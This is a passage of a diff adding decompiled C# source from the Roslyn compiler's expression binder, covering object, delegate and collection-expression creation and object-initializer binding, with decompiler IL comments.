+ static void validateRecordCopyConstructor(MethodSymbol constructor2, NamedTypeSymbol baseType, MethodSymbol resultMember, Location errorLocation, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + if (IsUserDefinedRecordCopyConstructor(constructor2)) + { + if ((int)baseType.SpecialType == 1) + { + if ((object)resultMember == null || (int)resultMember.ContainingType.SpecialType != 1) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CopyConstructorMustInvokeBaseCopyConstructor, errorLocation); + } + } + else if ((object)resultMember == null || !SynthesizedRecordCopyCtor.HasCopyConstructorSignature(resultMember)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_CopyConstructorMustInvokeBaseCopyConstructor, errorLocation); + } + } + } + } + + private static (ParameterSymbol, SyntaxNode) TryGetPrimaryConstructorParameterUsedAsValue(SynthesizedPrimaryConstructor primaryConstructor, BoundExpression boundExpression) + { + BoundParameter boundParameter2; + if (!(boundExpression is BoundParameter boundParameter)) + { + if (!(boundExpression is BoundConversion { Conversion: { IsIdentity: not false }, Operand: BoundParameter operand })) + { + return (null, null); + } + boundParameter2 = operand; + } + else + { + boundParameter2 = boundParameter; + } + ParameterSymbol parameterSymbol = boundParameter2.ParameterSymbol; + if ((object)parameterSymbol != null && (object)parameterSymbol.ContainingSymbol == primaryConstructor) + { + return (parameterSymbol, boundParameter2.Syntax); + } + return (null, null); + } + + internal static bool IsUserDefinedRecordCopyConstructor(MethodSymbol constructor) + { + if (constructor.ContainingType is SourceNamedTypeSymbol { IsRecord: not false } && !(constructor is SynthesizedPrimaryConstructor)) + { + return SynthesizedRecordCopyCtor.HasCopyConstructorSignature(constructor); + } + return false; + } + + private BoundExpression BindImplicitObjectCreationExpression(ImplicitObjectCreationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureImplicitObjectCreation.CheckFeatureAvailability(diagnostics, node.NewKeyword); + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + BindArgumentsAndNames(node.ArgumentList, diagnostics, instance, allowArglist: true); + BoundUnconvertedObjectCreationExpression result = new BoundUnconvertedObjectCreationExpression((SyntaxNode)(object)node, instance.Arguments.ToImmutable(), instance.Names.ToImmutableOrNull(), instance.RefKinds.ToImmutableOrNull(), node.Initializer, this); + instance.Free(); + return result; + } + + protected BoundExpression BindObjectCreationExpression(ObjectCreationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + return bindObjectCreationExpression(node, diagnostics); + BoundExpression bindObjectCreationExpression(ObjectCreationExpressionSyntax objectCreationExpressionSyntax, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Expected I4, but got Unknown + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + TypeWithAnnotations typeWithAnnotations = BindType(objectCreationExpressionSyntax.Type, bindingDiagnosticBag); + TypeSymbol typeSymbol = typeWithAnnotations.Type; + TypeSymbol initializerType = typeSymbol; + if (typeWithAnnotations.NullableAnnotation.IsAnnotated() && !typeSymbol.IsNullableType()) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_AnnotationDisallowedInObjectCreation, ((SyntaxNode)objectCreationExpressionSyntax).Location); + } + TypeKind typeKind = typeSymbol.TypeKind; + switch (typeKind - 1) + { + case 1: + case 4: + case 5: + case 9: + return BindClassCreationExpression(objectCreationExpressionSyntax, (NamedTypeSymbol)typeSymbol, GetName(objectCreationExpressionSyntax.Type), bindingDiagnosticBag, initializerType); + case 2: + return BindDelegateCreationExpression(objectCreationExpressionSyntax, (NamedTypeSymbol)typeSymbol, bindingDiagnosticBag); + case 6: + return BindInterfaceCreationExpression(objectCreationExpressionSyntax, (NamedTypeSymbol)typeSymbol, bindingDiagnosticBag); + case 10: + return BindTypeParameterCreationExpression(objectCreationExpressionSyntax, (TypeParameterSymbol)typeSymbol, bindingDiagnosticBag); + case 11: + throw ExceptionUtilities.UnexpectedValue((object)typeSymbol.TypeKind); + case 8: + case 12: + typeSymbol = new ExtendedErrorTypeSymbol(typeSymbol, LookupResultKind.NotCreatable, (DiagnosticInfo)(object)bindingDiagnosticBag.Add(ErrorCode.ERR_UnsafeTypeInObjectCreation, ((SyntaxNode)objectCreationExpressionSyntax).Location, typeSymbol)); + goto case 1; + case 0: + case 3: + typeSymbol = new ExtendedErrorTypeSymbol(typeSymbol, LookupResultKind.NotCreatable, (DiagnosticInfo)(object)bindingDiagnosticBag.Add(ErrorCode.ERR_InvalidObjectCreation, ((SyntaxNode)objectCreationExpressionSyntax.Type).Location)); + goto case 1; + default: + throw ExceptionUtilities.UnexpectedValue((object)typeSymbol.TypeKind); + } + } + } + + private BoundExpression BindCollectionExpression(CollectionExpressionSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBracketToken = syntax.OpenBracketToken; + MessageID.IDS_FeatureCollectionExpressions.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)syntax, ((SyntaxToken)(ref openBracketToken)).GetLocation()); + ArrayBuilder instance = ArrayBuilder.GetInstance(syntax.Elements.Count); + Enumerator enumerator = syntax.Elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + CollectionElementSyntax current = enumerator.Current; + instance.Add(bindElement(current, diagnostics)); + } + return new BoundUnconvertedCollectionExpression((SyntaxNode)(object)syntax, instance.ToImmutableAndFree()); + BoundExpression bindElement(CollectionElementSyntax collectionElementSyntax, BindingDiagnosticBag diagnostics2) + { + if (collectionElementSyntax is ExpressionElementSyntax expressionElementSyntax) + { + return BindValue(expressionElementSyntax.Expression, diagnostics2, BindValueKind.RValue); + } + if (!(collectionElementSyntax is SpreadElementSyntax syntax2)) + { + throw ExceptionUtilities.UnexpectedValue((object)collectionElementSyntax.Kind()); + } + return bindSpreadElement(syntax2, diagnostics2); + } + BoundExpression bindSpreadElement(SpreadElementSyntax spreadElementSyntax, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + BoundExpression collectionExpr = BindRValueWithoutTargetType(spreadElementSyntax.Expression, bindingDiagnosticBag); + TypeWithAnnotations inferredType; + ForEachEnumeratorInfo.Builder builder; + bool flag = !GetEnumeratorInfoAndInferCollectionElementType((SyntaxNode)(object)spreadElementSyntax, spreadElementSyntax.Expression, ref collectionExpr, isAsync: false, bindingDiagnosticBag, out inferredType, out builder) || builder.IsIncomplete; + if (flag) + { + return new BoundCollectionExpressionSpreadElement((SyntaxNode)(object)spreadElementSyntax, collectionExpr, null, null, null, null, null, null, flag); + } + BoundCollectionExpressionSpreadExpressionPlaceholder boundCollectionExpressionSpreadExpressionPlaceholder = new BoundCollectionExpressionSpreadExpressionPlaceholder((SyntaxNode)(object)spreadElementSyntax.Expression, collectionExpr.Type); + ForEachEnumeratorInfo forEachEnumeratorInfo = builder.Build(BinderFlags.None); + TypeSymbol collectionType = forEachEnumeratorInfo.CollectionType; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(bindingDiagnosticBag); + Conversion collectionConversionClassification = Conversions.ClassifyConversionFromExpression(collectionExpr, collectionType, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add((SyntaxNode)(object)spreadElementSyntax.Expression, useSiteInfo); + BoundExpression conversion = ConvertForEachCollection(boundCollectionExpressionSpreadExpressionPlaceholder, collectionConversionClassification, collectionType, bindingDiagnosticBag); + if (!TryBindLengthOrCount((SyntaxNode)(object)spreadElementSyntax.Expression, boundCollectionExpressionSpreadExpressionPlaceholder, out BoundExpression lengthOrCountAccess, bindingDiagnosticBag)) + { + lengthOrCountAccess = null; + } + return new BoundCollectionExpressionSpreadElement((SyntaxNode)(object)spreadElementSyntax, collectionExpr, boundCollectionExpressionSpreadExpressionPlaceholder, conversion, forEachEnumeratorInfo, lengthOrCountAccess, null, null) + { + WasCompilerGenerated = true + }; + } + } + + private BoundExpression BindDelegateCreationExpression(ObjectCreationExpressionSyntax node, NamedTypeSymbol type, BindingDiagnosticBag diagnostics) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + BindArgumentsAndNames(node.ArgumentList, diagnostics, instance, allowArglist: false, isDelegateCreation: true); + BoundExpression result = BindDelegateCreationExpression((SyntaxNode)(object)node, type, instance, node.Initializer, wasTargetTyped: false, diagnostics); + instance.Free(); + return result; + } + + private BoundExpression BindDelegateCreationExpression(SyntaxNode node, NamedTypeSymbol type, AnalyzedArguments analyzedArguments, InitializerExpressionSyntax initializerOpt, bool wasTargetTyped, BindingDiagnosticBag diagnostics) + { + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Expected O, but got Unknown + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_0198: Unknown result type (might be due to invalid IL or missing references) + //IL_0284: Unknown result type (might be due to invalid IL or missing references) + //IL_028a: Invalid comparison between Unknown and I4 + //IL_02ea: Unknown result type (might be due to invalid IL or missing references) + //IL_02ef: Unknown result type (might be due to invalid IL or missing references) + //IL_030c: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + if (!analyzedArguments.HasErrors) + { + if (analyzedArguments.Arguments.Count == 0) + { + diagnostics.Add(ErrorCode.ERR_BadCtorArgCount, node.Location, type, 0); + flag = true; + } + else if (analyzedArguments.Names.Count != 0 || analyzedArguments.RefKinds.Count != 0 || analyzedArguments.Arguments.Count != 1) + { + SyntaxNode syntax = analyzedArguments.Arguments[0].Syntax; + int spanStart = syntax.SpanStart; + TextSpan span = analyzedArguments.Arguments[analyzedArguments.Arguments.Count - 1].Syntax.Span; + int end = ((TextSpan)(ref span)).End; + TextSpan val = default(TextSpan); + ((TextSpan)(ref val))._002Ector(spanStart, end - spanStart); + SourceLocation location = new SourceLocation(syntax.SyntaxTree, val); + diagnostics.Add(ErrorCode.ERR_MethodNameExpected, (Location)(object)location); + flag = true; + } + } + if (initializerOpt != null) + { + Error(diagnostics, ErrorCode.ERR_ObjectOrCollectionInitializerWithDelegateCreation, SyntaxNodeOrToken.op_Implicit(node)); + flag = true; + } + BoundExpression boundExpression = ((analyzedArguments.Arguments.Count >= 1) ? BindToNaturalType(analyzedArguments.Arguments[0], diagnostics) : null); + if (!flag) + { + if (boundExpression is UnboundLambda unboundLambda) + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(unboundLambda, type, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + BoundLambda boundLambda = unboundLambda.Bind(type, isExpressionTree: false); + if (!conversion.IsImplicit || !conversion.IsValid) + { + GenerateImplicitConversionError(diagnostics, unboundLambda.Syntax, conversion, unboundLambda, type); + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(boundLambda.Diagnostics, false); + } + flag = !conversion.IsImplicit; + if (!flag) + { + CheckParameterModifierMismatchMethodConversion(unboundLambda.Syntax, boundLambda.Symbol, type, invokedAsExtensionMethod: false, diagnostics); + CheckLambdaConversion(boundLambda.Symbol, type, diagnostics); + } + return new BoundDelegateCreationExpression(node, boundLambda, null, isExtensionMethod: false, wasTargetTyped, type, flag); + } + if (!analyzedArguments.HasErrors) + { + if (boundExpression.Kind == BoundKind.MethodGroup) + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)boundExpression; + flag = MethodGroupConversionDoesNotExistOrHasErrors(boundMethodGroup, type, node.Location, diagnostics, out var conversion2); + boundMethodGroup = FixMethodGroupWithTypeOrValue(boundMethodGroup, conversion2, diagnostics); + return new BoundDelegateCreationExpression(node, boundMethodGroup, conversion2.Method, conversion2.IsExtensionMethod, wasTargetTyped, type, flag); + } + if ((object)boundExpression.Type == null) + { + diagnostics.Add(ErrorCode.ERR_MethodNameExpected, boundExpression.Syntax.Location); + } + else + { + if (boundExpression.HasDynamicType()) + { + return new BoundDelegateCreationExpression(node, boundExpression, null, isExtensionMethod: false, wasTargetTyped, type); + } + if ((int)boundExpression.Type.TypeKind == 3) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)boundExpression.Type; + MethodGroup instance = MethodGroup.GetInstance(); + try + { + if (ReportDelegateInvokeUseSiteDiagnostic(diagnostics, boundExpression.Type, null, node)) + { + return new BoundBadExpression(node, LookupResultKind.NotInvocable, StaticCast.From(type.InstanceConstructors), ImmutableArray.Create(boundExpression), type); + } + instance.PopulateWithSingleMethod(boundExpression, namedTypeSymbol.DelegateInvokeMethod); + CompoundUseSiteInfo useSiteInfo2 = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion3 = Conversions.MethodGroupConversion(boundExpression.Syntax, instance, type, ref useSiteInfo2); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo2); + if (!conversion3.Exists) + { + BoundMethodGroup expr = new BoundMethodGroup(boundExpression.Syntax, default(ImmutableArray), "Invoke", ImmutableArray.Create(namedTypeSymbol.DelegateInvokeMethod), namedTypeSymbol.DelegateInvokeMethod, null, BoundMethodGroupFlags.None, null, boundExpression, LookupResultKind.Viable); + if (!Microsoft.CodeAnalysis.CSharp.Conversions.ReportDelegateOrFunctionPointerMethodGroupDiagnostics(this, expr, type, diagnostics)) + { + diagnostics.Add(ErrorCode.ERR_MethDelegateMismatch, node.Location, namedTypeSymbol.DelegateInvokeMethod, type); + } + } + else if (!MethodGroupConversionHasErrors(boundExpression.Syntax, conversion3, boundExpression, conversion3.IsExtensionMethod, isAddressOf: false, type, diagnostics)) + { + return new BoundDelegateCreationExpression(node, boundExpression, null, isExtensionMethod: false, wasTargetTyped, type); + } + } + finally + { + instance.Free(); + } + } + else + { + diagnostics.Add(ErrorCode.ERR_MethodNameExpected, boundExpression.Syntax.Location); + } + } + } + } + ImmutableArray childBoundNodes = BuildArgumentsForErrorRecovery(analyzedArguments); + return new BoundBadExpression(node, LookupResultKind.OverloadResolutionFailure, StaticCast.From(type.InstanceConstructors), childBoundNodes, type); + } + + private BoundExpression BindClassCreationExpression(ObjectCreationExpressionSyntax node, NamedTypeSymbol type, string typeName, BindingDiagnosticBag diagnostics, TypeSymbol initializerType = null) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + try + { + BindArgumentsAndNames(node.ArgumentList, diagnostics, instance, allowArglist: true); + if (type.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_InstantiatingStaticClass, ((SyntaxNode)node).Location, type); + return MakeBadExpressionForObjectCreation(node, type, instance, diagnostics); + } + if (node.Type.Kind() == SyntaxKind.TupleType) + { + diagnostics.Add(ErrorCode.ERR_NewWithTupleTypeSyntax, node.Type.GetLocation()); + return MakeBadExpressionForObjectCreation(node, type, instance, diagnostics); + } + return BindClassCreationExpression((SyntaxNode)(object)node, typeName, (SyntaxNode)(object)node.Type, type, instance, diagnostics, node.Initializer, initializerType); + } + finally + { + instance.Free(); + } + } + + private BoundExpression MakeConstructorInvocation(NamedTypeSymbol type, ArrayBuilder arguments, ArrayBuilder refKinds, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + try + { + instance.Arguments.AddRange(arguments); + instance.RefKinds.AddRange(refKinds); + if (type.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_InstantiatingStaticClass, node.Location, type); + return MakeBadExpressionForObjectCreation(node, type, instance, null, null, diagnostics, wasCompilerGenerated: true); + } + BoundExpression boundExpression = BindClassCreationExpression(node, type.Name, node, type, instance, diagnostics); + boundExpression.WasCompilerGenerated = true; + return boundExpression; + } + finally + { + instance.Free(); + } + } + + internal BoundExpression BindObjectCreationForErrorRecovery(BoundUnconvertedObjectCreationExpression node, BindingDiagnosticBag diagnostics) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(node.Arguments, node.ArgumentRefKindsOpt, node.ArgumentNamesOpt); + BoundExpression result = MakeBadExpressionForObjectCreation(node.Syntax, CreateErrorType(), instance, node.InitializerOpt, node.Syntax, diagnostics); + instance.Free(); + return result; + } + + private BoundExpression MakeBadExpressionForObjectCreation(ObjectCreationExpressionSyntax node, TypeSymbol type, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics, bool wasCompilerGenerated = false) + { + return MakeBadExpressionForObjectCreation((SyntaxNode)(object)node, type, analyzedArguments, node.Initializer, (SyntaxNode?)(object)node.Type, diagnostics, wasCompilerGenerated); + } + + private BoundExpression MakeBadExpressionForObjectCreation(SyntaxNode node, TypeSymbol type, AnalyzedArguments analyzedArguments, InitializerExpressionSyntax? initializerOpt, SyntaxNode? typeSyntax, BindingDiagnosticBag diagnostics, bool wasCompilerGenerated = false) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(BuildArgumentsForErrorRecovery(analyzedArguments)); + if (initializerOpt != null) + { + BoundObjectInitializerExpressionBase boundObjectInitializerExpressionBase = BindInitializerExpression(initializerOpt, type, typeSyntax, isForNewInstance: true, diagnostics); + instance.Add((BoundExpression)boundObjectInitializerExpressionBase); + } + return new BoundBadExpression(node, LookupResultKind.NotCreatable, ImmutableArray.Create((Symbol)type), instance.ToImmutableAndFree(), type) + { + WasCompilerGenerated = wasCompilerGenerated + }; + } + + private BoundObjectInitializerExpressionBase BindInitializerExpression(InitializerExpressionSyntax syntax, TypeSymbol type, SyntaxNode typeSyntax, bool isForNewInstance, BindingDiagnosticBag diagnostics) + { + BoundObjectOrCollectionValuePlaceholder implicitReceiver = new BoundObjectOrCollectionValuePlaceholder(typeSyntax, isForNewInstance, type) + { + WasCompilerGenerated = true + }; + return syntax.Kind() switch + { + SyntaxKind.ObjectInitializerExpression => BindObjectInitializerExpression(syntax, type, diagnostics, implicitReceiver, useObjectInitDiagnostics: true), + SyntaxKind.WithInitializerExpression => BindObjectInitializerExpression(syntax, type, diagnostics, implicitReceiver, useObjectInitDiagnostics: false), + SyntaxKind.CollectionInitializerExpression => BindCollectionInitializerExpression(syntax, type, diagnostics, implicitReceiver), + _ => throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder_Expressions.cs", 5097), + }; + } + + private BoundExpression BindInitializerExpressionOrValue(ExpressionSyntax syntax, TypeSymbol type, BindValueKind rhsValueKind, SyntaxNode typeSyntax, BindingDiagnosticBag diagnostics) + { + SyntaxKind syntaxKind = syntax.Kind(); + if (syntaxKind - 8644 <= SyntaxKind.List) + { + return BindInitializerExpression((InitializerExpressionSyntax)syntax, type, typeSyntax, isForNewInstance: false, diagnostics); + } + return BindValue(syntax, diagnostics, rhsValueKind); + } + + private BoundObjectInitializerExpression BindObjectInitializerExpression(InitializerExpressionSyntax initializerSyntax, TypeSymbol initializerType, BindingDiagnosticBag diagnostics, BoundObjectOrCollectionValuePlaceholder implicitReceiver, bool useObjectInitDiagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + if (initializerSyntax.Kind() == SyntaxKind.ObjectInitializerExpression) + { + MessageID.IDS_FeatureObjectInitializer.CheckFeatureAvailability(diagnostics, initializerSyntax.OpenBraceToken); + } + Binder objectInitializerMemberBinder = (useObjectInitDiagnostics ? WithAdditionalFlags(BinderFlags.ObjectInitializerMember) : this); + ArrayBuilder instance = ArrayBuilder.GetInstance(initializerSyntax.Expressions.Count); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + Enumerator enumerator = initializerSyntax.Expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExpressionSyntax current = enumerator.Current; + BoundExpression boundExpression = BindInitializerMemberAssignment(current, objectInitializerMemberBinder, diagnostics, implicitReceiver); + instance.Add(boundExpression); + ReportDuplicateObjectMemberInitializers(boundExpression, (HashSet)(object)instance2, diagnostics); + } + return new BoundObjectInitializerExpression((SyntaxNode)(object)initializerSyntax, implicitReceiver, instance.ToImmutableAndFree(), initializerType); + } + + private BoundExpression BindInitializerMemberAssignment(ExpressionSyntax memberInitializer, Binder objectInitializerMemberBinder, BindingDiagnosticBag diagnostics, BoundObjectOrCollectionValuePlaceholder implicitReceiver) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + if (memberInitializer.Kind() == SyntaxKind.SimpleAssignmentExpression) + { + AssignmentExpressionSyntax assignmentExpressionSyntax = (AssignmentExpressionSyntax)memberInitializer; + BoundExpression boundExpression = objectInitializerMemberBinder.BindObjectInitializerMember(assignmentExpressionSyntax, implicitReceiver, diagnostics); + if (boundExpression != null) + { + RefKind refKind; + ExpressionSyntax syntax = assignmentExpressionSyntax.Right.CheckAndUnwrapRefExpression(diagnostics, out refKind); + bool flag = (int)refKind == 1; + BindValueKind rhsValueKind = (flag ? GetRequiredRHSValueKindForRefAssignment(boundExpression) : BindValueKind.RValue); + BoundExpression op = BindInitializerExpressionOrValue(syntax, boundExpression.Type, rhsValueKind, boundExpression.Syntax, diagnostics); + return BindAssignment((SyntaxNode)(object)assignmentExpressionSyntax, boundExpression, op, flag, diagnostics); + } + } + BoundExpression expr = BindValue(memberInitializer, diagnostics, BindValueKind.RValue); + Error(diagnostics, ErrorCode.ERR_InvalidInitializerElementInitializer, (CSharpSyntaxNode)memberInitializer); + return BindToTypeForErrorRecovery(ToBadExpression(expr, LookupResultKind.NotAValue)); + } + + private BoundExpression BindObjectInitializerMember(AssignmentExpressionSyntax namedAssignment, BoundObjectOrCollectionValuePlaceholder implicitReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + //IL_03eb: Unknown result type (might be due to invalid IL or missing references) + //IL_02da: Unknown result type (might be due to invalid IL or missing references) + //IL_02df: Unknown result type (might be due to invalid IL or missing references) + ExpressionSyntax left = namedAssignment.Left; + TypeSymbol type = implicitReceiver.Type; + SyntaxKind syntaxKind = namedAssignment.Right.Kind(); + bool flag = syntaxKind == SyntaxKind.RefExpression; + bool flag2 = syntaxKind - 8644 <= SyntaxKind.List; + bool flag3 = flag2; + BindValueKind valueKind = (flag3 ? BindValueKind.RValue : (flag ? BindValueKind.RefAssignable : BindValueKind.Assignable)); + BoundExpression expr; + bool flag4; + LookupResultKind resultKind; + if (left.Kind() == SyntaxKind.IdentifierName) + { + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)left; + SyntaxToken identifier; + if (type.IsDynamic()) + { + identifier = identifierNameSyntax.Identifier; + expr = new BoundDynamicObjectInitializerMember((SyntaxNode)(object)left, ((SyntaxToken)(ref identifier)).Text, implicitReceiver.Type, type, hasErrors: false); + return CheckValue(expr, valueKind, diagnostics); + } + identifier = identifierNameSyntax.Identifier; + expr = BindInstanceMemberAccess((SyntaxNode)(object)identifierNameSyntax, (SyntaxNode)(object)identifierNameSyntax, implicitReceiver, ((SyntaxToken)(ref identifier)).ValueText, 0, default(SeparatedSyntaxList), default(ImmutableArray), invoked: false, indexed: false, diagnostics); + flag4 = expr.HasAnyErrors || implicitReceiver.HasAnyErrors; + if (expr.Kind == BoundKind.PropertyGroup) + { + expr = BindIndexedPropertyAccess((BoundPropertyGroup)expr, mustHaveAllOptionalParameters: true, diagnostics); + if (expr.HasAnyErrors) + { + flag4 = true; + } + } + resultKind = expr.ResultKind; + } + else + { + if (left.Kind() != SyntaxKind.ImplicitElementAccess) + { + return null; + } + ImplicitElementAccessSyntax implicitElementAccessSyntax = (ImplicitElementAccessSyntax)left; + MessageID.IDS_FeatureDictionaryInitializer.CheckFeatureAvailability(diagnostics, implicitElementAccessSyntax.ArgumentList.OpenBracketToken); + expr = BindElementAccess(implicitElementAccessSyntax, implicitReceiver, implicitElementAccessSyntax.ArgumentList, allowInlineArrayElementAccess: false, diagnostics); + resultKind = expr.ResultKind; + flag4 = expr.HasAnyErrors || implicitReceiver.HasAnyErrors; + } + BoundKind kind = expr.Kind; + ImmutableArray arguments = ImmutableArray.Empty; + ImmutableArray argumentNamesOpt = default(ImmutableArray); + ImmutableArray argsToParamsOpt = default(ImmutableArray); + ImmutableArray argumentRefKindsOpt = default(ImmutableArray); + BitVector defaultArguments = default(BitVector); + bool expanded = false; + switch (kind) + { + case BoundKind.FieldAccess: + { + FieldSymbol fieldSymbol = ((BoundFieldAccess)expr).FieldSymbol; + if (flag3 && fieldSymbol.IsReadOnly && fieldSymbol.Type.IsValueType) + { + if (!flag4) + { + Error(diagnostics, ErrorCode.ERR_ReadonlyValueTypeInObjectInitializer, (CSharpSyntaxNode)left, new object[2] { fieldSymbol, fieldSymbol.Type }); + flag4 = true; + } + resultKind = LookupResultKind.NotAValue; + } + break; + } + case BoundKind.PropertyAccess: + flag4 |= flag3 && !CheckNestedObjectInitializerPropertySymbol(((BoundPropertyAccess)expr).PropertySymbol, left, diagnostics, flag4, ref resultKind); + break; + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess = BindIndexerDefaultArguments((BoundIndexerAccess)expr, valueKind, diagnostics); + expr = boundIndexerAccess; + flag4 |= flag3 && !CheckNestedObjectInitializerPropertySymbol(boundIndexerAccess.Indexer, left, diagnostics, flag4, ref resultKind); + arguments = boundIndexerAccess.Arguments; + argumentNamesOpt = boundIndexerAccess.ArgumentNamesOpt; + argsToParamsOpt = boundIndexerAccess.ArgsToParamsOpt; + argumentRefKindsOpt = boundIndexerAccess.ArgumentRefKindsOpt; + defaultArguments = boundIndexerAccess.DefaultArguments; + expanded = boundIndexerAccess.Expanded; + ImmutableArray.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current is BoundConversion { Conversion: { IsInterpolatedStringHandler: not false } } boundConversion) + { + BoundExpression operand = boundConversion.Operand; + if (operand.GetInterpolatedStringHandlerData().ArgumentPlaceholders.Any((BoundInterpolatedStringArgumentPlaceholder placeholder) => placeholder.ArgumentIndex == -1)) + { + diagnostics.Add(ErrorCode.ERR_InterpolatedStringsReferencingInstanceCannotBeInObjectInitializers, current.Syntax.Location); + flag4 = true; + } + } + } + break; + } + case BoundKind.DynamicIndexerAccess: + { + BoundDynamicIndexerAccess obj = (BoundDynamicIndexerAccess)expr; + arguments = obj.Arguments; + argumentNamesOpt = obj.ArgumentNamesOpt; + argumentRefKindsOpt = obj.ArgumentRefKindsOpt; + break; + } + case BoundKind.PointerElementAccess: + case BoundKind.ArrayAccess: + return CheckValue(expr, valueKind, diagnostics); + default: + return BadObjectInitializerMemberAccess(expr, implicitReceiver, left, diagnostics, valueKind, flag4); + case BoundKind.DynamicObjectInitializerMember: + case BoundKind.EventAccess: + break; + } + if (!flag4 && !CheckValueKind(expr.Syntax, expr, valueKind, checkingReceiver: false, diagnostics)) + { + flag4 = true; + resultKind = (flag3 ? LookupResultKind.NotAValue : LookupResultKind.NotAVariable); + } + return new BoundObjectInitializerMember((SyntaxNode)(object)left, expr.ExpressionSymbol, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, resultKind, implicitReceiver.Type, expr.Type, flag4); + } + + private static bool CheckNestedObjectInitializerPropertySymbol(PropertySymbol propertySymbol, ExpressionSyntax memberNameSyntax, BindingDiagnosticBag diagnostics, bool suppressErrors, ref LookupResultKind resultKind) + { + bool flag = false; + if (propertySymbol.Type.IsValueType) + { + if (!suppressErrors) + { + Error(diagnostics, ErrorCode.ERR_ValueTypePropertyInObjectInitializer, (CSharpSyntaxNode)memberNameSyntax, new object[2] { propertySymbol, propertySymbol.Type }); + flag = true; + } + resultKind = LookupResultKind.NotAValue; + } + return !flag; + } + + private BoundExpression BadObjectInitializerMemberAccess(BoundExpression boundMember, BoundObjectOrCollectionValuePlaceholder implicitReceiver, ExpressionSyntax 